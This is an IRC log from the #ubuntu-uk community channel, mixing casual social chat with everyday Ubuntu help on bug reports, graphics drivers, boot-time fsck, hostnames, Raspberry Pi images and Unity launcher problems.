<ali1234> mark it "feature"
<ali1234> or whatever they call it on LP
<brobostigon> ali1234: i am going to see first, if it has already been done.
<bigcalm> MartijnVdS: then it doesn't really compair to my statement :P
<MartijnVdS> hmm.. it's also Oscar night
<MartijnVdS> too bad it's in the middle of the night and I have to work tomorrow
<Pendulum> Oscar Night = pretty dress night \o/
<brobostigon> it seems it hasnt been reported that i can find, can someone confirm for me, i want to avoid duplication. please.
<jacobw> I'm sure time runs at double speed at the weekend :p
<penguin42> yeh :-(
<MartijnVdS> jacobw: especially if you run 20km in the morning :)
<jacobw> 20k :o
<brobostigon> ali1234: how do i mark it as feature?
<ali1234> under importance probably
<brobostigon> ali1234: idont see such an option inthe create bug screen.
<MartijnVdS> jacobw: well 18
<ali1234> then you can't do it
<MartijnVdS> jacobw: 20 next week
<brobostigon> ali1234: ohwell.
<hamitron> MartijnVdS, any reason?
<MartijnVdS> hamitron: "20 van Alphen" (local 20km race) is next week
<jacobw> You could deliver small items between towns going those distances :p
<hamitron> gl :)
<MartijnVdS> hamitron: thanks :)
<jacobw> Yeah :) good luck
<MartijnVdS> I hope it doesn't rain + storm like today
<MartijnVdS> http://maps.google.com/maps/ms?msa=0&msid=214448722339818589968.00049d416c1713ba02fe4
<brobostigon> https://bugs.launchpad.net/unity/+bug/726102
<lubotu3> Ubuntu bug 726102 in Unity "unity's clock doesn't seem to have the option to show seconds" [Undecided,New]
<gord> brobostigon, wrong package
<gord> indicator-datetime
<brobostigon> gord: cheers.
<gord> i'm not 100% but i think you can actually set a format for indicator-datetime in gconf or gsettings or whatever its using
<ali1234> gord: how does that fit together with indicator on gnome classic? the indicator-applet has the clock on natty?
<brobostigon> gord: do you have  the power to change it, or do i delete it, and create it, again within indicator-datetime?
<ali1234> brobostigon: you can change it
<ali1234> don't need any special rights
<gord> ali1234, i don't follow what your asking sorry
<brobostigon> ali1234: ok. thank you.
<ali1234> gord: well, on maverick gnome desktop, there is indicator applet (with the email/messaging icons) and that is a gnome panel applet. yeah?
<penguin42> brobostigon: Click on the down arrow to the left of 'Unity'
<ali1234> gord: there is also the clock, which is a different gnome panel applet
<gord> ali1234, right, your asking if its using indicator-datetime now, i have no idea, have never logged in to the classic desktop in natty
<ali1234> gord: so under natty gnome classic desktop, does the indicator applet also have a clock in it?
<penguin42> oh, it's in the project Unity - hmm
<ali1234> oh wow, i got a bug window from launchpad
<brobostigon> penguin42: thank you.
<ali1234> pink + red, never seen that before
<brobostigon> https://bugs.launchpad.net/indicator-datetime/+bug/726102
<lubotu3> Ubuntu bug 726102 in Indicator Date and Time "unity's clock doesn't seem to have the option to show seconds" [Undecided,New]
<ali1234> oh, maybe it's cos you updated the bug before me
<brobostigon> ali1234: maybe.
<jacobw> https://www.youtube.com/watch?v=EKFTtYx2OHc
<jacobw> roflcopter
<daubers> Evening
<brobostigon> evening daubers
<Myrtti> ho-hum
 * daubers offers Myrtti an imperial guard infantryman to paint
 * daubers turns up the extractor fan
<CourageTheCoward> hello
<AlanBell> o/ CourageTheCoward  who was phineas/ferb/bolt etc
<CourageTheCoward> ok I admit it I am Phineas, Bolt etc
<brobostigon> ohdear,
 * Myrtti fetches popcorn
<CourageTheCoward> Dont worry I'll behave
<CourageTheCoward> besides I have returned from a long break
<CourageTheCoward> arnt you glad about that
<KrimZon> how do I actually get xorg to use a particular driver?
<brobostigon> KrimZon: i do believe you need to specifiy it in xorg.conf.
<KrimZon> my current xorg is pretty sparse, loading a module "glx" and a device with "fbdev"
<KrimZon> I'm not entirely sure how to determine what names to use for anything else
<brobostigon> me neither, popey helped me last time, when i hd problems on my thinkpad.
<ikonia> the less you put in xorg.conf the better, as it leaves it to autodetection
<ikonia> only put things in you want to force
<KrimZon> it was going OK until I tried using official radeon drivers
<penguin42> KrimZon: I think the driver is normally 'Radeon'
<pr0ph3t> hi all
<KrimZon> with a capital R?
<KrimZon> the trouble is the signal is out of range currently
<KrimZon> it probably just needs telling what refresh rate to use, but I've no idea what to put to do that
<pr0ph3t> I noticed that when I startup ubuntu, the machine automatically runs fsck on two partitions, every boot. Is that really necessary? Can I not do fsck and speed up the boot time of several seconds?
<zleap> i think it runs fsck after so many boots, if you leave it, it should complete than not ask again.  i would guess if it does complete and keeps doing it, there could be an issue somewhere
<pr0ph3t> zleap, so it is not normal it does that, how do I check the last messages from boot? It doesn't show any fsck in dmesg
<brobostigon> pr0ph3t: have a look at the last kernel log etc in /var(log
<zleap> not sure
<brobostigon> /var/log
<pr0ph3t> brobostigon, syslog?
<zleap> i think its /var/log/messages
<zleap> or according to http://linux.derkeiler.com/Mailing-Lists/RedHat/2007-10/msg00056.html it is
<brobostigon> boot, dmesg, kern, syslog.
<pr0ph3t> I did cat /var/log/log_files | grep fsck but nothing came up in any of those files you suggested brobostigon
<CourageTheCoward> sorry about that IRC crasged
<CourageTheCoward> crashed
<brobostigon> pr0ph3t: no idea then, i am trying to build another natty bug report here.
<CourageTheCoward> whats up with natty
<brobostigon> CourageTheCoward: a possible xserver-xorg-video-intel bug.
<CourageTheCoward> ahh a bit like I used to have
<CourageTheCoward> but that might just be my crappy laptop
<brobostigon> CourageTheCoward: its definatly in natty, as in maverick the issue doesnt exist,
<CourageTheCoward> I installed ubuntu but all I get it a bouncing thing in status bar on boot, what went wrong
<CourageTheCoward> anyone
<Azelphur> popey: what do you use to generate that minecraft map of yours?
<Myrtti> Azelphur: none at the moment
<AlanBell> CourageTheCoward: there is the #ubuntu+1 channel for discussing issues with Natty
<Myrtti> Azelphur: update on the server broke the map generation because the file save format changed
<Azelphur> well, what did you use :P
<Azelphur> oh, right
<Myrtti> Azelphur: minecraft overviewer
<Azelphur> also for bonus points, anything I can use to get server status (ie player list) out to a web server? :D
<CourageTheCoward> but this pc is not Intel at all
<CourageTheCoward> just to let you know
<CourageTheCoward> its on Nvidia graphics with an amd professor
<CourageTheCoward> does that make any change
<jacobw> An AMD professor?
<AlanBell> I believe nvidia is currently a bit broken on natty
<CourageTheCoward> processor
<CourageTheCoward> my bad predictave text does it again
<daftykins> just been using IRC from my Pentium 1 :)
<daftykins> http://i54.tinypic.com/118lmch.jpg
<daftykins> so amusing going online with a win98 box, practically everything says "nope, not supported, go away!" :)
<penguin42> daftykins: I've got a P90 running Debian - at 64MB RAM it's now minimum spec :-(
<daftykins> awww
<penguin42> 64MB and a P90 used to be luxury!
<daftykins> indeed, i remember it well
<CourageTheCoward> I have a 8mhz cpu in one of my macs
<daftykins> it got dug out because my mum's trying to make my dad bin all the old computers
<daftykins> he's got the 486 apricots ready to be thrown :(
<penguin42> daftykins: The P90 is still my firewall through which this is going
<daftykins> i'm tempted to build a little mATX system for router+firewall duty
<penguin42> yeh
<CourageTheCoward> apricots??
<penguin42> daftykins: Well, yeh Apricots were a bit odd, although they did settle out by then
<penguin42> CourageTheCoward: Apricot computers
<daftykins> one had removable magnetic tape 'hard disks'
<daftykins> about 20MB cartridges i think
<daftykins> and one was floppy only
<penguin42> daftykins: What was that? It sounds like a one-per-desk
<penguin42> (or one-per-bin as I've heard them called) - oh or a QL
<CourageTheCoward> the oldest pc I have must be an ibm
<daftykins> QL?
<penguin42> Sinclair QL
<daftykins> nah that's the apricots i'm describing there
<penguin42> oh, didn't realise any of the apricots had tape carts
<daftykins> yeah
<daftykins> it did break eventually
<daftykins> i opened it up recently to see that it got replaced by a SCSI card and some ancient Maxtor SCSI HDD
<daftykins> but now the CMOS battery has long since died, i couldn't get the settings right to make it boot again :D
<CourageTheCoward> and all my old pcs work except for one
<daftykins> its' BIOS had all manual configuration of serial ports in it etc. :S
<DJones> daftykins: I'm surprised that sort of info isn't available somewhere online
<daftykins> DJones: ah it was one of those 5 minute attempts
<daftykins> but now we've got to fight to keep the poor little computers
<daftykins> i think there's an amiga being threatened too
<DJones> Heh
<daftykins> though the amiga was a sad story
<DJones> I mis my old Vic 20 & Apple ]['s
<daftykins> oh, yes the Applie ][ is being threatened as well :(
<daftykins> oops Apple
<daftykins> out of any of them, the Apple should stay really
<CourageTheCoward> I have an apple I
<CourageTheCoward> still
<suprengr> tick tock - tick tock - it's nearly Top Gear o'clock
<CourageTheCoward> realy?
<daftykins> well i for one can handle missing seeing adults act like children :>
<suprengr> nah!  that's the best part ;)
<brobostigon> another bug, https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-intel/+bug/726179
<lubotu3> Ubuntu bug 726179 in xserver-xorg-video-intel (Ubuntu) "stuttery adobe flash chromium video playback" [Undecided,New]
<kevin_> Hey guys, anyone help me sort my wireless keyboard if they have spare time ?:)
<DJones> kevin_: What sort of wireless keyboard is it, bluetooth or a usb dongle type
<kevin_> DJones, usb dongle
<DJones> kevin_: What sort of problems do you get, I haven't come across problems with that type, I thought the pc just saw them as a usb keyboard
<kevin_> It was working when I first installed 10.10, however when I updated the system only the mouse works and the keyboard doesnt :)
<kevin_> It work in bios etc, just as soon as 'grub' fires up it's gone
<DJones> Is this your question on the forums from a couple of days ago? http://ubuntuforums.org/showthread.php?t=1691913
<kevin_> yeah :o)
<kevin_> I've googled! gave up so ran to irc ;)
<DJones> Give me a few minutes, I'll see if I can find anything out, but not having had problems, I think I'll struggle as well
<kevin_> ok thanks for you time :)
<DJones> kevin_: It might be worth asking in #ubuntu as well, with it being a busier channel there's more chance of a response
<kevin_> ok :)
<pr0ph3t> hi all
<DJones> From what I can see looking at some bugs from December, that keyboard had to have a specific config/amendment to the kernel in debian, I wonder whether the latest kernel update has had it missed out in error
<kevin_> So il need to wait for the next update to the kernel ?:)
<DJones> I'm just looking to see if a bug has been filed in ubuntu about it
<DJones> I can't see anything, I'd suggest filing a bug to make people aware of it
<kevin_> Ok thanks for your help :)
<DJones> Sorry I can't help anymore
<BigRedS> I'm looking to package what is basically a Perl script and associated db config. I can't find much in the way of tutorials to cover exactly that, are there any oddities to bear in mind that the binary-focused howtos are likely to skip
<BigRedS> ?
<ali1234> exobuzz, Azelphur, others with joggler: http://www.youtube.com/watch?v=dtlBLXhg-YE&feature=related
<ali1234> that's hildon desktop (N900 UI) running on meego on the joggler
<Azelphur> that looks very spiffy.
<daftykins> interesting
<exobuzz> ali1234, yeh saw that the other day. looks nice and quick
<gord> its fascinating how quickly i lost interest in my joggler once i realised i couldn't get gl on it
<ali1234> you can now
<ali1234> with the IEGD
<ali1234> or so i'm told
<daftykins> heh
<daftykins> i was almost tempted to pick one up, but mains attachment put me off
<ali1234> yeah
<ali1234> well, there will be plenty of tablets this year
<ali1234> get one of those instead
<daftykins> ali1234: hehe, ah i don't see the point in tablets whatsoever. i'm keen to see the release of the samsung 9 series laptop though, looks very nice
<ali1234> well the point of tablets pretty much is to be a web browser, video player, ebook reader all in one, without the additional bulk of keyboard
<daftykins> yeah i just fail to have any involvement with those usage models i suppose
<daftykins> plus most generally mean parting with money to do things the legal way :)
<ali1234> i have one of these: http://www.youtube.com/watch?v=ycZUKTZczWI
<ali1234> and it made me realise why a tablet is better
<ali1234> it's just too heavy to use it like a tablet
<ali1234> even though you can
<ali1234> but after about 10 minutes you get arm ache
<ali1234> because with the keyboard and hard drive and all the rest, it's about 4 times heavier than a tablet
<daftykins> mmm
<ali1234> i love how the cross-eyed guy completely messes up the demo in that video
<daftykins> i was going to say his eyes are really nuts
<ali1234> (screen goes upside down when he switches to tablet mode, and the autorotation doesn't work)
<daftykins> still can't think (personally) of a need for such a device
<daftykins> i suppose it's more to bring the computer to the lounge faring types
<daftykins> versus us computer desk geek types :>
<jacobw> how are you supposed to watch a video on a tablet?
<ali1234> if you need to use a computing device while standing up, tablet is the best option
<ali1234> jacobw: what do you mean? you just click on it and watch it? what's the problem?
<jacobw> wouldn't the screen always be at the wrong angle
<ali1234> um, no?
<jacobw> well you either have it flat on your lap, the screen would be at the wrong angle
<jacobw> or you hold it up, which would be tiring on your arms
<popey> jacobw: i frequently watch video on a tablet
<popey> and it is at the right angle and not tiring :)
<ali1234> it's not tiring, because tablets are really light
<jacobw> hmm, i can't say i've actually seen a tablet
<ali1234> and besides, screens on them are not like bad old LCDs
<popey> many have wallets which allow you to stand them up
<jacobw> so, yeah, i'm probably wrong
<mgdm> the case on the iPad is fairly nifty like that
<ali1234> with the lenovo however, because it's really a netbook, it *is* tiring to use it like a tablet, which sucks
<ali1234> great dev platform though
<popey> http://store.apple.com/uk/product/MC361ZM/B?fnode=MTc0MjU2Mjc&mco=MTk1MTEyNzQ
<popey> dunno if that link works..
<popey> middle image shows it standing up
<ali1234> also this: http://www.youtube.com/watch?v=lPqWzpU35TM
<safiyyah> hamitron, popey are you guys in?
<popey> evening
<safiyyah> been to hell and back with pc popey
<popey> golly
<safiyyah> last night i rebooted and i got the same black screen of death
<safiyyah> anyway i actually put hardy back on, went back to extension 3 and havent had any problems
<safiyyah> so now I have loaded meerkat but still on extension 3
<safiyyah> I also had to tell grub which partition root was in
<safiyyah> I used.... let me find the link
<brobostigon> nos da everyone, sleep well.
<safiyyah> took me a minute but here https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows
<safiyyah> and from what I have understood, the first thing is to update grub if I don't want a repeat
<safiyyah> so popey still willing to help me with nvidia?
<safiyyah> am just gonne update grub and come straight back
<popey> safiyyah: I'm not able to help right now, sorry
<safiyyah> popey: is there a time to come back?
<safiyyah> Guys how do I change my machine name?
<AlanBell> safiyyah: weekdays are busier
<AlanBell> and during the day or early evening
<zleap> safiyyah, i think its hostname
<zleap> man hostname
<safiyyah> thanx
<popey> safiyyah: in the meantime I would highly recommend posting the details of the issue to askubuntu.com
<popey> there are some great experts who monitor that site and post great responses
<safiyyah> popey. I will not be attempting nvidia without help lol
<popey> askubuntu is great
<safiyyah> AlanBell,  well i only just got my machine running, so cant help my timing, I will come back.
<jacobw> try in #ubuntu as wel
<safiyyah> zleap, isnt it sudo hostname namewanted ? it didn't complain but my hostname remains
<zleap> possibly,
<zleap> hence i did man hostname as that brings up the manual
<daftykins> safiyyah: hey, long time no see, how goes?
<safiyyah> daftykins,  :) heeeyyyy
<safiyyah> am having computer nightmares
<daftykins> aww
<safiyyah> zleap, i read man... may i should reboot?
<safiyyah> maybe*
<zleap> probably
<safiyyah> brb
<zleap> as it reads /etc/hostname when it boots
<zleap> wb
<safiyyah> right this is having a laugh at my expense lol
<zleap> you ok
<safiyyah> it isnt working
<safiyyah> but its minor
<safiyyah> irritating but minor
<safiyyah> i will live with it for a few more days until i psyche myself up to fix it again
<zleap> ok
<zleap> there should be a gui tool to fix hostnames
<popey> there is
<daftykins> safiyyah loves CLI though
<zleap> ah,
<safiyyah> me love CLI?
<safiyyah> lol
<safiyyah> rofl, if i were good at it it would justify the love
<safiyyah> but it a reminder of my incompetence
<safiyyah> lol
<daftykins> aww
<daftykins> i love the coarseness of command line use, either you're wrong or you're right :)
<hamitron> CLI?
<Cepheus> command line interface
<hamitron> k
<exobuzz> gord, linux on joggler has gl/es, opengl (although not everything runs but much does) and vaapi for hardware video decoding
<Azelphur> Myrtti: overviewer from git works
<Azelphur> Myrtti: http://game.azelphur.com/custom/mcmap/ :D
<ali1234> that's a small server
<Azelphur> ali1234: it's a new server?
<ali1234> i guess you just started it up to test the map generator?
<Azelphur> no, I started it up and got the map generator running
<Azelphur> it's a new thing for my gaming community, got a lot of requests
<Azelphur> picked up minecraft a couple of days ago and got the basics, so now I'm setting up a public server
<ali1234> cool
<Azelphur> setting it up properly, it isn't publicly announced yet
<Azelphur> but I've got IRC relay, overviewer, and server status on the website all ready to go
<ali1234> Azelphur: see #ubuntu-uk-minecraft
<Azelphur> :)
<Azelphur> yea I know about the uuk minecraft :p
#ubuntu-uk 2012-02-20
<Azelphur> pretty fun, wikipedia has an IRC channel that shows you the changes as they are happening, http://wbe001.mibbit.com/?server=irc.wikimedia.org&channel=%23en.wikipedia
<Azelphur> moves very fast :D
<penguin42> neat
<penguin42> it's nice seeing an entirely random set of subjects go past
<hamitron> sorta like here? ;)
<Azelphur> indeed hehe
<czajkowski> aloha
<popey> morning
<TheOpenSourcerer> Morning everyone.
<MooDoo> morning all
<DJones> Morning
<christel> good morning
<czajkowski> hmm my terminal is pretty unusable today, every time I hit enter it goes trasparant
<diplo> Morning all
<MooDoo> morning diplo
<andyloughran> howdy
<andyloughran> how is everyone this fine morning?
<gordonjcp> reasonable
<diplo> Slightly chilled :)
 * gordonjcp is going to Gleneagles today
<gordonjcp> this is unlikely to be a relaxing round of golf and a dip in the pool
<gordonjcp> I need to learn everything about Tait T1800 trunking systems and TB7100 base stations, possibly while $boss drives us up there
<bigcalm> Good morning peeps
<diplo> gordonjcp, that security stuff ?
<mattt> i'm grumpy
<mattt> very long drive into work
<diplo> :)
<gordonjcp> diplo: general comms around the site
<diplo> heh gordonjcp thought you were on about these people, http://www.tatecolson.co.uk/
<diplo> but guess you mean the hand sets etc
<popey_> bah
<czajkowski> welcome back
<daubers> lo
 * daubers is very excited
<daubers> \o/
<daubers> Probably shouldn't be drinking coffee this morning
 * popey wonders why daubers is excited
<daubers> Had an offer accepted on a house \o/
<czajkowski> whooo
<czajkowski> congrats
<daubers> \o/
<popey> oooh
<daubers> Now I'm old and sensible (apparently)
 * popey buys daubers a flat cap
<diplo> daubers, first house of your own?
<daubers> diplo: Yup
<daubers> I think I own a flatcap... might be in my parents roof
<diplo> Nice, more responsibility now :P
<daubers> At least when things break I can get them fixed!
<daubers> (stupid rented houses)
<diplo> I only rented for a couple of years and that was always friends or friends of friends
 * directhex moos gently
<diplo> Never had the proper land lord issue
<diplo> Bought my first house at 20/21
<diplo> Just wish I had started bigger :(
<daubers> diplo: This is quite big for us, 3 bed house with HUGE gardens
<diplo> In the reading area>
<daubers> diplo: Hungerford
<daubers> So a bit further west
<diplo> Blimey, you loaded :D
<daubers> diplo: It was suprisingly cheap!
<diplo> I live in Trowbridge, just outside Devizes
<mattt> oooh, i was in hungerford the other week, nice place
<daubers> diplo: You must be loaded then :p
<mattt> congrats daubers
<daubers> \o/
<diplo> Trowbridge = Dive of the area :)
<daubers> heh
<diplo> Bath/Bradford etc are the costly places
<daubers> apparently this isn't the nicest part of hungerford
<diplo> 3-4 times more
<daubers> Bath is for rich people
<mattt> we were driving down a country lane late at night, saw an owl hovering over the road, was fakking weird
<daubers> and romans
<daubers> mattt: Even weirded when you see them sat on signs watching you...
<diplo> heh, my parents bought there house for 23k in Bradford... now worth about 600k :)
<mattt> diplo: how many years ago?
<diplo> 30
<diplo> ish...
 * mattt wishes he got on the property ladder ages ago
<daubers> mattt: Everyone does :(
<diplo> My biggest issue, on my 4th house now
<directhex> i bought a house at the peak of the property bubble ^_^
<diplo> But i started @ 25 year mortage each time
<daubers> directhex: \o/
<mattt> directhex: well, depending on where you bought, that may not mean a whole lot
<directhex> i still think it was dramatically undervalued... or perhaps every other comparable property is overvalued
<diplo> So even though i have owned a hose for 15 years ish now, I still have a 20 year mortage left :(
<daubers> directhex: also, do you know if mono is being ported to the raspberry pi?
 * mattt cranks up feist on spotify and gets to work
<daubers> directhex: That was my feeling about this house I just bought
<directhex> daubers, should work out of the box. armv6 support should be there
<daubers> \o/
<directhex> they're distributing a debian image, right? should just work
<daubers> Was going to get one for the wifes cousins kid, as he's learning .net stuffs
<daubers> Thought it was fedora?
<diplo> yeah image is out already
<diplo> Defo a debian image out and about
<directhex> http://www.raspberrypi.org/downloads
<daubers> Sorry, yeah it is debian
<daubers> my mistake
<diplo> Torrent	debian6-17-02-2012.zip.torrent
<diplo> :)
<diplo> bah, all to fast for me
 * diplo goes back to sleep
<directhex> mono on fedora is something of a second class citizen, since red hat made it clear they wanted it to be a second class citizen. should be fine on debian tho
<daubers> cool beans :)
<directhex> try running a game, like spacechem or atom zombie smasher! 8D
<AlanBell> not quite sure what the point is of that image, does one run it in qemu or something?
<directhex> AlanBell, one deploys it to one's raspberry pi sdcard i guess
<directhex> qemu for arm sucks, because qemu upstream are douchebags
<diplo> I think they are pre-empting 10k of downloads on receiving of said Raspberry :)
<AlanBell> yeah, I can't see the point of everyone enthusiastically downloading the image without the hardware to run it on
<popey> to look at what it ships with
<AlanBell> which isn't that!
<AlanBell> it will ship with an as-yet unreleased fedora derivative
<popey> no, to see what the _image_ ships with
<gord> popey, you getting any corruption with the new rc6 patch?
<popey> not tried it yet, just about to
<popey> you?
<gord> not yet
<gord> but i'm not getting the same power savings as i got with deep-rc6 enabled.. can feel heat when i put my hands near the fan :(
<brobostigon> good morning everyone,
<davmor2> morning all
<davmor2> czajkowski: prod
<czajkowski> herro davmor2
<bigcalm> Hi kids :)
<brobostigon> morning davmor2 , czajkowski and bigcalm
<bigcalm> davmor2: does one has to declare one's interest in attending the WolvesLUG meetings?
<davmor2> czajkowski: that instantly makes me think of turning Japanese
<bigcalm> davmor2: you really think so?
<davmor2> bigcalm: should be on the mailing list, it's nice so people know how many will be there more than anything else :)
<davmor2> bigcalm: the song, and r's instead of l's
<bigcalm> davmor2: I was quoting the song :P
<davmor2> morning brobostigon bigcalm MooDoo
 * bigcalm waits for somebody else to reply to Ron's post ;)
<bigcalm> Oh, I'm running 12.04 on my laptop now. Working so far despite a lack of skype. If that isn't working by Thursday, might have to load it on my phone
<ali1234> is it safe to update at the moment?
<bigcalm> Last night it worked out ok
<davmor2> bigcalm: and are you using unity of xfce still
<ali1234> 400mb of updates...
<ali1234> is it just me or has update manager got really slow?
<davmor2> ali1234: how do you mean slow, it's plenty fast enough here
<bigcalm> davmor2: unity
<bigcalm> Crazy no?
<ali1234> after fetching the sources is empties the list of updates one at a time about 1 per second
<ali1234> takes about a minute
<ali1234> then the new list appears instantly
<davmor2> ali1234: ah yeah I think that is a known bug with the way that the new apt process works speed should improve significantly latter in the release process
<davmor2> bigcalm: there is no hope for some I was hoping for binary numerics and you go for roman fail ;)
<popey> bah
<popey> probably system board issue on my x220
 * davmor2 sends czajkowski to hug popey as a hug proxy
<bigcalm> :P
<gord> popey, whats it doing?
<gord> or not doing
<popey> fails to detect hdd sometimes
<popey> and fails to boot sometimes
<popey> get a nasty BIOS HDD error
<bigcalm> You had that with your HDD, you're also getting it with the SSD?
<gord> ugh yeah, send it back
<davmor2> popey: oh only minor then, nothing to likely to slow you down or anything :(
<popey> new mobo coming tomorrow with engineer
 * popey hugs 3 years nbd onsite
<bigcalm> He'll really give you an Etch-a-sketch instead
<popey> I swapped the hard disk out so i know it's not that
<davmor2> popey: faulty bridge chip maybe
<popey> it also fails to power up sometimes
<popey> press / hold power button and nothing happens
<davmor2> popey: oh faulty power, hdd no power == not detected, that would do it :)
<gord> soo... vlc 2.0's best new feature seems to be an inability to play half my video files
<gord> i think i want 1.* back
<popey> davmor2: well, the guy is coming tomorrow so hopefully will be fixed âº
<ali1234> is he coming all the way from china?
<davmor2> gord: ah just use totem and ignore the hud popup
<gord> i usually use mplayer, but gnome 3 removed my ability to set files to open with non .desktop related applications in nautilus
<ali1234> "Anglian Water says some reservoir levels are 20% lower then normal."
<ali1234> "lower then normal."
<ali1234> come on BBC i expect better
<davmor2> gord: write a .desktop file for it
<Adriannom> lo.  having trouble getting a hp scanjet 5590 scanner to work.  xubuntu 11.10.  it worked out fo the box before, not sure what has changed.  it didn't work on mint 12 either
<Adriannom> hplip is installed and google isn't much help
<Adriannom> i load simple scan and it just doesn't find any scanners
<gord> davmor2, then it shows up in a bunch of other places you don't want it to
<davmor2> gord: oh I see you don't want it showing up in most frequently used apps ;)
<davmor2> bigcalm: See ALEX got it :P
<mrevell> davmor2, bigcalm, gord: On for the Light House Thursday?
<davmor2> mrevell: indeedly doodly
<mrevell> top
<bigcalm> mrevell: I am, yes
<AlanBell> please can school start again :(
<popey> ours went back today
<popey> they were off last week
<TheOpenSourcerer> AlanBell: Ours went back today.
<TheOpenSourcerer> :-D
<AlanBell> not fair
<davmor2> gord is there a way to chage the bright blue osd notifications
<czajkowski> AlanBell: when are yours back ?
<AlanBell> tomorrow
<AlanBell> inset day today
<AlanBell> or a run round the house screaming day as they are alternately known
<MooDoo> mine is at nursery and he's back today
<popey> davmor2: uninstall notify-osd :D
<czajkowski> whoo I've propper Ubuntu back and HUD
<AlanBell> davmor2: have two monitors and the right one lower than the left one
<AlanBell> davmor2: they went bright blue for me temporarily, but now they are back to dark grey (but the shadow seems missing
<AlanBell> )
<davmor2> AlanBell: :( mine are still Blue
<davmor2> I'll see if there is an updat
<davmor2> e
 * jussi waves to davmor2
<AlanBell> anyone got two monitors and wants to confirm bug 935131
<lubotu3> Launchpad bug 935131 in libnotify (Ubuntu) "if the rightmost screen is not as high as the aggregate rectangle notifications are off screen" [Undecided,New] https://launchpad.net/bugs/935131
<davmor2> jussi: congrats to MRS JUSSI again ;)  you were only there for conception so you just get a footnote congrats :D
<jussi> davmor2: aww :(
<MooDoo> oh morning davmor2 :)
<jussi> davmor2: but... but... but... oh feck it.
 * davmor2 hugs jussi only kidding dude,  Congrats
<jussi> heehe
<jussi> I m so glad she has a name now, it was killing me to say "little one" or "the baby"
<diplo> jussi, I still call my boy "Chubs" ( was chubby at birth ) and he's 5 now :D
<MooDoo> it's ok davmor2 ignore me i don't mind :p
<jussi> heeh
<davmor2> MooDoo: I said morning to you hours ago chap
<MooDoo> davmor2: apologies, must have missed it :D
<czajkowski> no ubuntu UK Global jam happening ?
<Dave2> mm, jam
<davmor2> <davmor2> morning brobostigon bigcalm MooDoo  that was at 10:55
<MooDoo> davmor2: soz chap....
<davmor2> MooDoo: forgiven don't do it again, How's life chap?
 * bigcalm looks up and then goes back to sleep
<MooDoo> davmor2: busy at the moment.
<davmor2> bigcalm: hey no sleeping at work lad wake up[
<bigcalm> Yikes, it's almost 1pm
<bigcalm> What to do for lunch...
<bigcalm> Toasted cheese sandwiches!
<davmor2> bigcalm: eat?
<bigcalm> davmor2: seems likely
<ali1234> anyone having difficulty revealing the launcher??
<ali1234> seems like there is a 50% chance that pushing against the edge of the screen does nothing
<ali1234> and when it happens it doesn't start working again until you move the mouse away from the edge
<ali1234> so you can push and push and nothing happens
<ali1234> also it only seems to happen in the top 1/4 of the screen
<davmor2> ali1234: go into system settings, appearance, Behaviour tab and you can lower the resistance
<ali1234> i already have the resistance set on the absolute minimum
<ali1234> this is a bug
<davmor2> ali1234: as in you have it set to the highest?
<ali1234> also it only happens on the first monitor
<ali1234> no, as in the launcher should pop out as soon as i even brush against the edge of the screen
<ali1234> that's what it did before i just updated
<ali1234> and it's what it does on the second monitor
<ali1234> and the bottom 3/4 of the first monitor
<ali1234> i suspect that i have only noticed this problem because i have the resistance set so low
<davmor2> ali1234: pass then over to gord who maybe able to direct you to someone that can help
<ali1234> i'll just report it
<AlanBell> czajkowski: I emailed the list about the jam, I don't think we have a venue for a real-life thing (or much availability at the weekend to do that kind of thing)
<davmor2> AlanBell: all round to czajkowski's then right?
<AlanBell> good plan
<gord> don't worry guys, i found it, the best way page on all the internet. http://www.buzzfeed.com/mjs538/things-that-make-corgis-happy
<popey> 29 is ace
<popey> thats excellent
<MooDoo> davmor2: AlanBell czajkowski having a party? ;)
<popey> I've been thinking about a location for the jam
<czajkowski> Google hangout?
<czajkowski> hmm my folks are over from ireland that weekend
<czajkowski> I had better make some plans
<MooDoo> czajkowski: aren't hangouts max 10 people?
<popey> yes, unless you get an 'on air' account
<gord> *however* hangouts do support screen sharing
<ali1234> i couldn't get that part to work still
<gord> so you can have groups of hangouts proxy into one master hangout technically ;)
<popey> heh
<popey> nested hangouts
<davmor2> popey: Ubuntuone sync the .gtg folder?
<popey> davmor2: the developers specifically say don't do that
<davmor2> popey: odd I wonder why maybe you can get sync errors if you do
<popey> you do
<popey> you get conflicts
<davmor2> popey: :(
<davmor2> popey: zsync and a sync my gtg now button on the desktop?
<czajkowski> http://twitpic.com/8mev18/full  looks pretty right :)
<MooDoo> czajkowski: needs maor black squares
<AlanBell> they are dark aubergine
<czajkowski> close it and reopen it
<czajkowski> and no more black squares
<czajkowski> they grow during the day
<davmor2> czajkowski: okay so what did you do to annoy Chris?  hmm hmmm come on out with it?
<MooDoo> davmor2: she was herself? ;)
<czajkowski> Chris who
<davmor2> MooDoo: yeap that might do it
<davmor2> popey: I got it,  setup openssh-server on one box,  symlink the on gtg to the openssh'd one instant sync :)
<gord> czajkowski, sandybridge cpu?
<czajkowski> sandy who?
<davmor2> czajkowski: what CPU do you have in the laptop
 * popey thinks it probably is sandybridge
<popey> its that toshiba ultrabook innit?
<gord> point being, if it is sandybridge, make sure your system is upto date and you are running the latest kernel, if you are, dig out popey's g+ post about the call for testing of the newest kernel for sandybridge owners and complain that you get corruption
<popey> +1
<czajkowski> Intel(R) Core(TM) i5-2467M CPU @ 1.60GHz
<czajkowski> popey: aye tis
<czajkowski> gord: will do
<popey> https://wiki.ubuntu.com/Kernel/PowerManagementRC6  czajkowski
<czajkowski> ah cool thanks
<popey> gord: i see no corruption and got massive power saving
<czajkowski> have so much reading tonight to do
<popey> 16W vs 8W
<davmor2> czajkowski: do you have an android phone?
<czajkowski> yup
<czajkowski> which now has no data after friday night train travel :)
<s-fox> Hello.
<davmor2> czajkowski: that's okay this can use wifi, grab an app called unix & linux news I find it a good tool for interesting news on stuff :)
<MooDoo> s-fox: hello there :D
<s-fox> Hello MooDoo
<s-fox> I'm back \o/
<MooDoo> s-fox: welcome back
<s-fox> Thanks :D
<s-fox> What's new MooDoo  ?
<MooDoo> s-fox: debating to upgrade my work machine to ocelot...and replacing the windows 7 machine at home with precise....other than that, not a lot, you?
<davmor2> s-fox: You have a death certificate, surely the only thing that would explain is why you can't hear stuff........oh wait that's deaf
<s-fox> MooDoo,  Well got back last night. Just catching up with emails and stuff.
<MooDoo> s-fox: good trip?
<s-fox> davmor2,  You know I have BSL level 1 qualification...
<s-fox> MooDoo, Yes, met some funny french guys at a bar :)
<MooDoo> s-fox: sticking two fingers up at davmor2 doesn't constitute sign language ;)
